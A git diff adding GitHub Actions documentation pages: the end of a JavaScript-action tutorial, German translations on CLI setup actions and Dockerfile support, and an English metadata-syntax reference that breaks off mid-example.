+## Inputs
+
+### `who-to-greet`
+
+**Required** The name of the person to greet. Default `"World"`.
+
+## Outputs
+
+### `time`
+
+The time we greeted you.
+
+## Example usage
+
+```yaml
+uses: actions/hello-world-javascript-action@v1.1
+with:
+  who-to-greet: 'Mona the Octocat'
+```
+````
+
+## Commit, tag, and push your action to GitHub
+
+{% data variables.product.product_name %} downloads each action run in a workflow during runtime and executes it as a complete package of code before you can use workflow commands like `run` to interact with the runner machine. This means you must include any package dependencies required to run the JavaScript code. You'll need to check in the toolkit `core` and `github` packages to your action's repository.
+
+From your terminal, commit your `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json`, and `README.md` files. If you added a `.gitignore` file that lists `node_modules`, you'll need to remove that line to commit the `node_modules` directory.
+
+It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)."
+
+```shell{:copy}
+git add action.yml index.js node_modules/* package.json package-lock.json README.md
+git commit -m "My first action is ready"
+git tag -a -m "My first action release" v1.1
+git push --follow-tags
+```
+
+Checking in your `node_modules` directory can cause problems. As an alternative, you can use a tool called [`@vercel/ncc`](https://github.com/vercel/ncc) to compile your code and modules into one file used for distribution.
+
+1. Install `vercel/ncc` by running this command in your terminal.
+  `npm i -g @vercel/ncc`
+
+1. Compile your `index.js` file.
+  `ncc build index.js --license licenses.txt`
+
+  You'll see a new `dist/index.js` file with your code and the compiled modules.
+  You will also see an accompanying `dist/licenses.txt` file containing all the licenses of the `node_modules` you are using.
+
+1. Change the `main` keyword in your `action.yml` file to use the new `dist/index.js` file.
+ `main: 'dist/index.js'`
+
+1. If you already checked in your `node_modules` directory, remove it.
+  `rm -rf node_modules/*`
+
+1. From your terminal, commit the updates to your `action.yml`, `dist/index.js`, and `node_modules` files.
+```shell{:copy}
+git add action.yml dist/index.js node_modules/*
+git commit -m "Use vercel/ncc"
+git tag -a -m "My first action release" v1.1
+git push --follow-tags
+```
+
+## Testing out your action in a workflow
+
+Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository.
+
+{% data reusables.actions.enterprise-marketplace-actions %}
+
+### Example using a public action
+
+This example demonstrates how your new public action can be run from within an external repository.
+
+Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@v1.1` line with your username and the name of the public repository you created above. You can also replace the `who-to-greet` input with your name.
+
+{% raw %}
+```yaml{:copy}
+on: [push]
+
+jobs:
+  hello_world_job:
+    runs-on: ubuntu-latest
+    name: A job to say hello
+    steps:
+      - name: Hello world action step
+        id: hello
+        uses: octocat/hello-world-javascript-action@v1.1
+        with:
+          who-to-greet: 'Mona the Octocat'
+      # Use the output from the `hello` step
+      - name: Get the output time
+        run: echo "The time was ${{ steps.hello.outputs.time }}"
+```
+{% endraw %}
+
+When this workflow is triggered, the runner will download the `hello-world-javascript-action` action from your public repository and then execute it.
+
+### Example using a private action
+
+Copy the workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name.
+
+**.github/workflows/main.yml**
+```yaml{:copy}
+on: [push]
+
+jobs:
+  hello_world_job:
+    runs-on: ubuntu-latest
+    name: A job to say hello
+    steps:
+      # To use this repository's private action,
+      # you must check out the repository
+      - name: Checkout
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Hello world action step
+        uses: ./ # Uses an action in the root directory
+        id: hello
+        with:
+          who-to-greet: 'Mona the Octocat'
+      # Use the output from the `hello` step
+      - name: Get the output time
+        run: echo "The time was {% raw %}${{ steps.hello.outputs.time }}{% endraw %}"
+```
+
+From your repository, click the **Actions** tab, and select the latest workflow run. Under **Jobs** or in the visualization graph, click **A job to say hello**. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log.
+
+![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png)
diff --git a/translations/de-DE/content/actions/creating-actions/developing-a-third-party-cli-action.md b/translations/de-DE/content/actions/creating-actions/developing-a-third-party-cli-action.md
new file mode 100644
index 0000000000..88efe4ceea
--- /dev/null
+++ b/translations/de-DE/content/actions/creating-actions/developing-a-third-party-cli-action.md
@@ -0,0 +1,77 @@
+---
+title: Entwickeln einer Aktion für eine Drittanbieter-CLI
+shortTitle: CLI setup action
+intro: 'Erfahre, wie du eine Aktion entwickeln kannst, um eine CLI für {% data variables.product.prodname_actions %}-Runner einzurichten.'
+redirect_from: []
+versions:
+  fpt: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Actions
+ms.openlocfilehash: c839faa63efd0f8b7f5ab78a81107d27ab93e1c4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090481'
+---
+## Einführung
+
+Du kannst eine Aktion schreiben, um Benutzern über eine konfigurierte CLI-Umgebung auf {% data variables.product.prodname_actions %}-Runnern den Zugriff auf deine Server zu gewähren.
+
+Deine Aktion sollte folgende Vorgaben erfüllen:
+
+- Sie sollte Benutzern die einfache Angabe der zu installierenden CLI-Version ermöglichen.
+- Sie sollte mehrere Betriebssysteme unterstützen.
+- Sie sollte effizient ausgeführt werden, um Laufzeiten und zugehörige Kosten zu minimieren.
+- Sie sollte sowohl auf von {% data variables.product.product_name %} gehosteten als auch auf selbstgehosteten Runnern funktionieren.
+- Sie sollte nach Möglichkeit Communitytools nutzen.
+
+In diesem Artikel wird veranschaulicht, wie eine Aktion geschrieben wird, die eine bestimmte Version deiner CLI abruft, installiert, dem Pfad hinzufügt und (optional) zwischenspeichert. Diese Art von Aktion (eine Aktion zum Einrichten eines Tools) wird häufig mit `setup-$TOOL` benannt. 
+
+## Voraussetzungen
+
+Du solltest wissen, wie eine benutzerdefinierte Aktion geschrieben wird. Weitere Informationen findest du unter [Informationen zu benutzerdefinierten Aktionen](/actions/creating-actions/about-custom-actions). Eine ausführlichere Anleitung zum Schreiben einer benutzerdefinierten Aktion findest du unter [Erstellen einer JavaScript-Aktion](/actions/creating-actions/creating-a-javascript-action).
+
+## Beispiel
+
+Das folgende Skript veranschaulicht, wie du eine vom Benutzer angegebene Version als Eingabe abfragst, die entsprechende Version deiner CLI herunterlädst und extrahierst und die CLI dann dem Pfad hinzufügst.
+
+{% data variables.product.prodname_dotcom %} stellt [`actions/toolkit`](https://github.com/actions/toolkit) bereit. Dabei handelt es sich um eine Reihe von Paketen, die dir beim Erstellen von Aktionen helfen. In diesem Beispiel werden die Pakete [`actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) und [`actions/tool-cache`](https://github.com/actions/toolkit/tree/main/packages/tool-cache) verwendet.
+
+{% raw %}
+```javascript{:copy}
+const core = require('@actions/core');
+const tc = require('@actions/tool-cache');
+
+async function setup() {
+  // Get version of tool to be installed
+  const version = core.getInput('version');
+
+  // Download the specific version of the tool, e.g. as a tarball
+  const pathToTarball = await tc.downloadTool(getDownloadURL());
+
+  // Extract the tarball onto the runner
+  const pathToCLI = await tc.extractTar(pathToTarball);
+
+  // Expose the tool by adding it to the PATH
+  core.addPath(pathToCLI)
+}
+
+module.exports = setup
+```
+{% endraw %}
+
+Um dieses Skript zu verwenden, ersetze `getDownloadURL` durch eine Funktion, die deine CLI herunterlädt. Du musst auch eine Metadatendatei für Aktionen erstellen (`action.yml`), die eine `version`-Eingabe akzeptiert und dieses Skript ausführt. Ausführliche Informationen zum Erstellen einer Aktion findest du unter [Erstellen einer JavaScript-Aktion](/actions/creating-actions/creating-a-javascript-action).
+
+Ein vollständiges Beispiel zum Einrichten dieser Aktion findest du unter [example-setup-gh](https://github.com/github-developer/example-setup-gh).
+
+## Weitere Informationsquellen
+
+Dieses Muster wird in mehreren Aktionen verwendet. Weitere Beispiele findest du hier:
+
+* [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby)
+* [`google-github-actions/setup-gcloud`](https://github.com/google-github-actions/setup-gcloud)
+* [`hashicorp/setup-terraform`](https://github.com/hashicorp/setup-terraform)
+
diff --git a/translations/de-DE/content/actions/creating-actions/dockerfile-support-for-github-actions.md b/translations/de-DE/content/actions/creating-actions/dockerfile-support-for-github-actions.md
new file mode 100644
index 0000000000..1b438cb97b
--- /dev/null
+++ b/translations/de-DE/content/actions/creating-actions/dockerfile-support-for-github-actions.md
@@ -0,0 +1,116 @@
+---
+title: Dockerfile Unterstützung für GitHub Aktionen
+shortTitle: Dockerfile support
+intro: 'Beim Erstellen eines `Dockerfile` für eine Docker-Containeraktion solltest du wissen, wie bestimmte Docker-Anweisungen mit GitHub Actions und der Metadatendatei einer Aktion interagieren.'
+redirect_from:
+  - /actions/building-actions/dockerfile-support-for-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: reference
+ms.openlocfilehash: 6e061e479f4988398cbdc92114e387a3055734af
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145088644'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Informationen zu Dockerfile-Anweisungen
+
+Eine `Dockerfile` enthält Anweisungen und Argumente, die den Inhalt und das Startverhalten eines Docker-Containers definieren. Weitere Informationen zu den Anweisungen, die Docker unterstützt, findest du in der Docker-Dokumentation unter [Dockerfile-Referenz](https://docs.docker.com/engine/reference/builder/).
+
+## Dockerfile Anweisungen und Overrides (Überschreibungen)
+
+Einige Docker-Anweisungen interagieren mit GitHub-Aktionen, und die Metadaten-Datei einer Aktion kann einige Docker-Anweisungen überschreiben. Vergewissere Dich, dass Dir klar ist, wie dein Dockerfile mit {% data variables.product.prodname_actions %} interagiert, um unerwartetes Verhalten zu verhindern.
+
+### USER
+
+Docker-Aktionen müssen vom Standard-Benutzer (root) des Dockers ausgeführt werden. Verwende die `USER`-Anweisung nicht in deiner `Dockerfile`, da du dann nicht mehr auf `GITHUB_WORKSPACE` zugreifen kannst. Weitere Informationen findest du in der Docker-Dokumentation unter [Verwenden von Umgebungsvariablen](/actions/configuring-and-managing-workflows/using-environment-variables) und [USER-Referenz](https://docs.docker.com/engine/reference/builder/#user).
+
+### FROM
+
+Die erste Anweisung in der `Dockerfile` muss `FROM` sein, wodurch ein Docker-Basisimage ausgewählt wird. Weitere Informationen findest du in der Docker-Dokumentation unter [FROM-Referenz](https://docs.docker.com/engine/reference/builder/#from).
+
+Dies sind einige bewährte Methoden, das `FROM`-Argument zu nutzen:
+
+- Es wird empfohlen, offizielle Docker-Images (Abbilder) zu verwenden. Zum Beispiel: `python` oder `ruby`.
+- Verwende ein Versions-Tag, falls vorhanden, vorzugsweise mit einer Hauptversion. Verwende z. B. `node:10` statt `node:latest`.
+- Es wird empfohlen, Docker-Images zu verwenden, die auf dem [Debian-Betriebssystem](https://www.debian.org/) basieren.
+
+### WORKDIR
+
+{% data variables.product.product_name %} legt den Pfad zum Arbeitsverzeichnis in der Umgebungsvariablen `GITHUB_WORKSPACE` fest. Es wird empfohlen, die `WORKDIR`-Anweisung nicht in deiner `Dockerfile` zu verwenden. Bevor die Aktion ausgeführt wird, mountet {% data variables.product.product_name %} das Verzeichnis `GITHUB_WORKSPACE` auf was auch immer sich an dieser Stelle im Docker-Image befindet, und setzt `GITHUB_WORKSPACE` als Arbeitsverzeichnis. Weitere Informationen findest du in der Docker-Dokumentation unter [Verwenden von Umgebungsvariablen](/actions/configuring-and-managing-workflows/using-environment-variables) und [WORKDIR-Referenz](https://docs.docker.com/engine/reference/builder/#workdir).
+
+### ENTRYPOINT
+
+Wenn du in der Metadatendatei einer Aktion `entrypoint` definierst, setze `ENTRYPOINT`, festgelegt in der `Dockerfile`, außer Kraft. Weitere Informationen findest du unter [Metadatensyntax für {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions/#runsentrypoint).
+
+Für die Docker-Anweisung `ENTRYPOINT` gibt es ein _Shellformat_ und ein _Ausführungsformat_. In der Docker-Dokumentation zu `ENTRYPOINT` wird das _Ausführungsformat_ der `ENTRYPOINT`-Anweisung empfohlen. Weitere Informationen zum _Ausführungsformat_ und _Shellformat_ findest du in der Docker-Dokumentation in der [ENTRYPOINT-Referenz](https://docs.docker.com/engine/reference/builder/#entrypoint).
+
+Verwende `WORKDIR` nicht, um deinen Einstiegspunkt in deiner Dockerfile-Datei anzugeben. Verwende stattdessen einen absoluten Pfad. Weitere Informationen findest du unter [WORKDIR](#workdir).
+
+Wenn du deinen Container so konfigurierst, dass er das _Ausführungsformat_ der `ENTRYPOINT`-Anweisung verwendet, wird die in der Metadatendatei der Aktion konfigurierte `args` nicht in einer Befehlsshell ausgeführt. Wenn die `args` der Aktion eine Umgebungsvariable enthalten, wird die Variable nicht ersetzt. Wenn du beispielsweise das folgende _Ausführungsformat_ verwendest, wird der in `$GITHUB_SHA` gespeicherte Wert nicht ausgegeben, sondern stattdessen wird `"$GITHUB_SHA"` ausgegeben.
+
+```dockerfile
+ENTRYPOINT ["echo $GITHUB_SHA"]
+```
+
+ Wenn du eine Variable ersetzen möchtest, verwende entweder das _Shellformat_, oder du führst direkt eine Shell aus. Mit dem folgenden _Ausführungsformat_ kannst du zum Beispiel eine Shell ausführen, um den in der Umgebungsvariablen `GITHUB_SHA` gespeicherten Wert auszugeben.
+
+```dockerfile
+ENTRYPOINT ["sh", "-c", "echo $GITHUB_SHA"]
+```
+
+ Um die in der Metadatendatei der Aktion definierten `args` an einen Docker-Container zu übergeben, der das _Ausführungsformat_ im `ENTRYPOINT` verwendet, empfiehlt es sich, ein Shellskript namens `entrypoint.sh` zu erstellen, das über die `ENTRYPOINT`-Anweisung aufgerufen wird:
+
+#### Beispiel für *Dockerfile*
+
+```dockerfile
+# Container image that runs your code
+FROM debian:9.5-slim
+
+# Copies your code file from your action repository to the filesystem path `/` of the container
+COPY entrypoint.sh /entrypoint.sh
+
+# Executes `entrypoint.sh` when the Docker container starts up
+ENTRYPOINT ["/entrypoint.sh"]
+```
+
+#### Beispieldatei für *entrypoint.sh*
+
+Mit dem obigen Dockerfile-Beispiel sendet {% data variables.product.product_name %} die Metadaten-Datei der Aktion konfigurierten `args` als Argumente an `entrypoint.sh`. Füge die `#!/bin/sh`[shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) oben in der `entrypoint.sh`-Datei hinzu, um die [POSIX-kompatible](https://en.wikipedia.org/wiki/POSIX) Shell des Systems explizit zu verwenden.
+
+``` sh
+#!/bin/sh
+
+# `$*` expands the `args` supplied in an `array` individually
+# or splits `args` in a string separated by whitespace.
+sh -c "echo $*"
+```
+
+Dein Code muss ausführbar sein. Stelle sicher, dass die `entrypoint.sh`-Datei über `execute`-Berechtigungen verfügt, bevor du sie in einem Workflow verwendest. Du kannst die Berechtigung von deinem Terminal aus mit diesem Befehl ändern:
+  ``` sh
+  chmod +x entrypoint.sh
+  ```
+
+Wenn ein `ENTRYPOINT`-Shellskript nicht ausführbar ist, wird ein Fehler wie der folgende angezeigt:
+
+``` sh
+Error response from daemon: OCI runtime create failed: container_linux.go:348: starting container process caused "exec: \"/entrypoint.sh\": permission denied": unknown
+```
+
+### Befehlszeile
+
+Wenn du in der Metadatendatei der Aktion `args` definierst, überschreibt `args` die `CMD`-Anweisung, die in der `Dockerfile` angegeben ist. Weitere Informationen findest du unter [Metadatensyntax für {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runsargs).
+
+Wenn du in deiner `Dockerfile` die `CMD`-Anweisung verwendest, befolge die folgenden Richtlinien:
+
+{% data reusables.actions.dockerfile-guidelines %}
+
+## Unterstützte Linux-Funktionen
+
+{% data variables.product.prodname_actions %} unterstützt die standardmäßigen Linux-Funktionen, die auch Docker unterstützt. Funktionen können weder hinzugefügt noch entfernt werden. Weitere Informationen zu den standardmäßigen Linux-Funktionen, die Docker unterstützt, findest du in der Docker-Dokumentation unter [Runtime-Berechtigungen und Linux-Funktionen](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities). Weitere Informationen zu Linux-Funktionen findest du unter [Übersicht über Linux-Funktionen](http://man7.org/linux/man-pages/man7/capabilities.7.html) auf den Linux-Man-Seiten.
diff --git a/translations/de-DE/content/actions/creating-actions/index.md b/translations/de-DE/content/actions/creating-actions/index.md
new file mode 100644
index 0000000000..834e41e686
--- /dev/null
+++ b/translations/de-DE/content/actions/creating-actions/index.md
@@ -0,0 +1,34 @@
+---
+title: Erstellen von Aktionen
+intro: 'Du kannst deine eigenen Aktionen erstellen sowie Aktionen verwenden und anpassen, die von der {% data variables.product.prodname_dotcom %}-Community bereitgestellt werden, oder Deine eigenen Aktionen der Communitz bereitstellen.'
+redirect_from:
+  - /articles/building-actions
+  - /github/automating-your-workflow-with-github-actions/building-actions
+  - /actions/automating-your-workflow-with-github-actions/building-actions
+  - /actions/building-actions
+  - /articles/creating-a-github-action
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-custom-actions
+  - /creating-a-docker-container-action
+  - /creating-a-javascript-action
+  - /creating-a-composite-action
+  - /metadata-syntax-for-github-actions
+  - /dockerfile-support-for-github-actions
+  - /setting-exit-codes-for-actions
+  - /publishing-actions-in-github-marketplace
+  - /sharing-actions-and-workflows-with-your-enterprise
+  - /releasing-and-maintaining-actions
+  - /developing-a-third-party-cli-action
+ms.openlocfilehash: b60bd1031bc7e9958a146cbf9755a000679edff3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880621'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/de-DE/content/actions/creating-actions/metadata-syntax-for-github-actions.md b/translations/de-DE/content/actions/creating-actions/metadata-syntax-for-github-actions.md
new file mode 100644
index 0000000000..6fd1dab0b3
--- /dev/null
+++ b/translations/de-DE/content/actions/creating-actions/metadata-syntax-for-github-actions.md
@@ -0,0 +1,905 @@
+---
+title: Metadata syntax for GitHub Actions
+shortTitle: Metadata syntax
+intro: You can create actions to perform tasks in your repository. Actions require a metadata file that uses YAML syntax.
+redirect_from:
+  - /articles/metadata-syntax-for-github-actions
+  - /github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions
+  - /actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions
+  - /actions/building-actions/metadata-syntax-for-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: reference
+miniTocMaxHeadingLevel: 4
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About YAML syntax for {% data variables.product.prodname_actions %}
+
+All actions require a metadata file. The metadata filename must be either `action.yml` or `action.yaml`. The data in the metadata file defines the inputs, outputs, and runs configuration for your action.
+
+Action metadata files use YAML syntax. If you're new to YAML, you can read "[Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)."
+
+## `name`
+
+**Required** The name of your action. {% data variables.product.prodname_dotcom %} displays the `name` in the **Actions** tab to help visually identify actions in each job.
+
+## `author`
+
+**Optional** The name of the action's author.
+
+## `description`
+
+**Required** A short description of the action.
+
+## `inputs`
+
+**Optional** Input parameters allow you to specify data that the action expects to use during runtime. {% data variables.product.prodname_dotcom %} stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids.
+
+### Example: Specifying inputs
+
+This example configures two inputs: numOctocats and octocatEyeColor. The numOctocats input is not required and will default to a value of '1'. The octocatEyeColor input is required and has no default value. Workflow files that use this action must use the `with` keyword to set an input value for octocatEyeColor. For more information about the `with` syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)."
+
+```yaml
+inputs:
+  numOctocats:
+    description: 'Number of Octocats'
+    required: false
+    default: '1'
+  octocatEyeColor:
+    description: 'Eye color of the Octocats'
+    required: true
+```
+
+When you specify an input in a workflow file or use a default input value, {% data variables.product.prodname_dotcom %} creates an environment variable for the input with the name `INPUT_<VARIABLE_NAME>`. The environment variable created converts input names to uppercase letters and replaces spaces with `_` characters.
+
+If the action is written using a [composite](/actions/creating-actions/creating-a-composite-action), then it will not automatically get `INPUT_<VARIABLE_NAME>`. If the conversion doesn't occur, you can change these inputs manually.
+
+To access the environment variable in a Docker container action, you must pass the input using the `args` keyword in the action metadata file. For more information about the action metadata file for Docker container actions, see "[Creating a Docker container action](/articles/creating-a-docker-container-action#creating-an-action-metadata-file)."
+
+For example, if a workflow defined the `numOctocats` and `octocatEyeColor` inputs, the action code could read the values of the inputs using the `INPUT_NUMOCTOCATS` and `INPUT_OCTOCATEYECOLOR` environment variables.
+
+### `inputs.<input_id>`
+
+**Required** A `string` identifier to associate with the input. The value of `<input_id>` is a map of the input's metadata. The `<input_id>` must be a unique identifier within the `inputs` object. The `<input_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+
+### `inputs.<input_id>.description`
+
+**Required** A `string` description of the input parameter.
+
+### `inputs.<input_id>.required`
+
+**Optional** A `boolean` to indicate whether the action requires the input parameter. Set to `true` when the parameter is required.
+
+### `inputs.<input_id>.default`
+
+**Optional** A `string` representing the default value. The default value is used when an input parameter isn't specified in a workflow file.
+
+### `inputs.<input_id>.deprecationMessage`
+
+**Optional** If the input parameter is used, this `string` is logged as a warning message. You can use this warning to notify users that the input is deprecated and mention any alternatives.
+
+## `outputs` for Docker container and JavaScript actions
+
+**Optional** Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions.  For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input.
+
+{% data reusables.actions.output-limitations %}
+
+If you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow. For more information on setting outputs in an action, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)."
+
+### Example: Declaring outputs for Docker container and JavaScript actions
+
+```yaml
+outputs:
+  sum: # id of the output
+    description: 'The sum of the inputs'
+```
+
+### `outputs.<output_id>`
+
+**Required** A `string` identifier to associate with the output. The value of `<output_id>` is a map of the output's metadata. The `<output_id>` must be a unique identifier within the `outputs` object. The `<output_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+
+### `outputs.<output_id>.description`
+
+**Required** A `string` description of the output parameter.
+
+## `outputs` for composite actions
+
+**Optional** `outputs` use the same parameters as `outputs.<output_id>` and `outputs.<output_id>.description` (see "[`outputs` for Docker container and JavaScript actions](#outputs-for-docker-container-and-javascript-actions)"), but also includes the `value` token.
+
+{% data reusables.actions.output-limitations %}
+
+### Example: Declaring outputs for composite actions
+
+{% raw %}
+```yaml
+outputs:
+  random-number:
+    description: "Random number"
+    value: ${{ steps.random-number-generator.outputs.random-id }}
+runs:
+  using: "composite"
+  steps:
+    - id: random-number-generator{% endraw %}
+{%- ifversion actions-save-state-set-output-envs %}
+      run: echo "random-id=$(echo $RANDOM)" >> $GITHUB_OUTPUT
+{%- else %}
+      run: echo "::set-output name=random-id::$(echo $RANDOM)"
+{%- endif %}{% raw %}
+      shell: bash
+```
+{% endraw %}
+
+### `outputs.<output_id>.value`
+
+**Required** The value that the output parameter will be mapped to. You can set this to a `string` or an expression with context. For example, you can use the `steps` context to set the `value` of an output to the output value of a step.
+
+For more information on how to use context syntax, see "[Contexts](/actions/learn-github-actions/contexts)."
+
+## `runs`
+
+**Required** Specifies whether this is a JavaScript action, a composite action, or a Docker container action and how the action is executed.
+
+## `runs` for JavaScript actions
+
+**Required** Configures the path to the action's code and the runtime used to execute the code.
+
+### Example: Using Node.js {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}v16{% else %}v12{% endif %}
+
+```yaml
+runs:
+  using: {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}'node16'{% else %}'node12'{% endif %}
+  main: 'main.js'
+```
+
+### `runs.using`
+
+**Required** The runtime used to execute the code specified in [`main`](#runsmain).
+
+- Use `node12` for Node.js v12.{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+- Use `node16` for Node.js v16.{% endif %}
+
+### `runs.main`
+
+**Required** The file that contains your action code. The runtime specified in [`using`](#runsusing) executes this file.
+
+### `runs.pre`
+
+**Optional** Allows you to run a script at the start of a job, before the `main:` action begins. For example, you can use `pre:` to run a prerequisite setup script. The runtime specified with the [`using`](#runsusing) syntax will execute this file. The `pre:` action always runs by default but you can override this using [`runs.pre-if`](#runspre-if).
+
+In this example, the `pre:` action runs a script called `setup.js`:
+
+```yaml
+runs:
+  using: {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}'node16'{% else %}'node12'{% endif %}
+  pre: 'setup.js'
+  main: 'index.js'
+  post: 'cleanup.js'
+```
+
+### `runs.pre-if`
+
+**Optional** Allows you to define conditions for the `pre:` action execution. The `pre:` action will only run if the conditions in `pre-if` are met. If not set, then `pre-if` defaults to `always()`. In `pre-if`, status check functions evaluate against the job's status, not the action's own status.
+
+Note that the `step` context is unavailable, as no steps have run yet.
+
+In this example, `cleanup.js` only runs on Linux-based runners:
+
+```yaml
+  pre: 'cleanup.js'
+  pre-if: runner.os == 'linux'
+```
+
+### `runs.post`
+
+**Optional** Allows you to run a script at the end of a job, once the `main:` action has completed. For example, you can use `post:` to terminate certain processes or remove unneeded files. The runtime specified with the [`using`](#runsusing) syntax will execute this file.
+
+In this example, the `post:` action runs a script called `cleanup.js`:
+
+```yaml
+runs:
+  using: {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}'node16'{% else %}'node12'{% endif %}
+  main: 'index.js'
+  post: 'cleanup.js'
+```
+
+The `post:` action always runs by default but you can override this using `post-if`.
+
+### `runs.post-if`
+
+**Optional** Allows you to define conditions for the `post:` action execution. The `post:` action will only run if the conditions in `post-if` are met. If not set, then `post-if` defaults to `always()`. In `post-if`, status check functions evaluate against the job's status, not the action's own status.
+
+For example, this `cleanup.js` will only run on Linux-based runners:
+
+```yaml
+  post: 'cleanup.js'
+  post-if: runner.os == 'linux'
+```
+
+## `runs` for composite actions
+
+**Required** Configures the path to the composite action.
+
+### `runs.using`
+
+**Required** You must set this value to `'composite'`.
+
+### `runs.steps`
+
+**Required** The steps that you plan to run in this action. These can be either `run` steps or `uses` steps.
+
+#### `runs.steps[*].run`
+
+**Optional** The command you want to run. This can be inline or a script in your action repository:
+
+{% raw %}
+```yaml
+runs:
+  using: "composite"
+  steps:
+    - run: ${{ github.action_path }}/test/script.sh
+      shell: bash
+```
+{% endraw %}
+
+Alternatively, you can use `$GITHUB_ACTION_PATH`:
+
+```yaml
+runs:
+  using: "composite"
+  steps:
+    - run: $GITHUB_ACTION_PATH/script.sh
+      shell: bash
+```
+
+For more information, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
+
+#### `runs.steps[*].shell`
+
+**Optional** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Required if `run` is set.
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+#### `runs.steps[*].if`
+
+**Optional** You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional.
+
+{% data reusables.actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+
+**Example: Using contexts**
+
+ This step only runs when the event type is a `pull_request` and the event action is `unassigned`.
+
+ ```yaml
+steps:
+  - run: echo This event is a pull request that had an assignee removed.
+    if: {% raw %}${{ github.event_name == 'pull_request' && github.event.action == 'unassigned' }}{% endraw %}
+```
+
+**Example: Using status check functions**
+
+The `my backup step` only runs when the previous step of a composite action fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#status-check-functions)."
+
+```yaml
+steps:
+  - name: My first step
+    uses: octo-org/action-name@main
+  - name: My backup step
+    if: {% raw %}${{ failure() }}{% endraw %}
+    uses: actions/heroku@1.0.0
+```
+{% endif %}
+
+#### `runs.steps[*].name`
+
+**Optional** The name of the composite step.
+
+#### `runs.steps[*].id`
+
+**Optional** A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+
+#### `runs.steps[*].env`
+
+**Optional**  Sets a `map` of environment variables for only that step. If you want to modify the environment variable stored in the workflow, use `echo "{name}={value}" >> $GITHUB_ENV` in a composite step.
+
+#### `runs.steps[*].working-directory`
+
+**Optional**  Specifies the working directory where the command is run.
+
+#### `runs.steps[*].uses`
+
+**Optional**  Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/).
+
+We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.
+- Using the commit SHA of a released action version is the safest for stability and security.
+- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work.
+- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.
+
+Some actions require inputs that you must set using the [`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required.
+
+```yaml
+runs:
+  using: "composite"
+  steps:
+    # Reference a specific commit
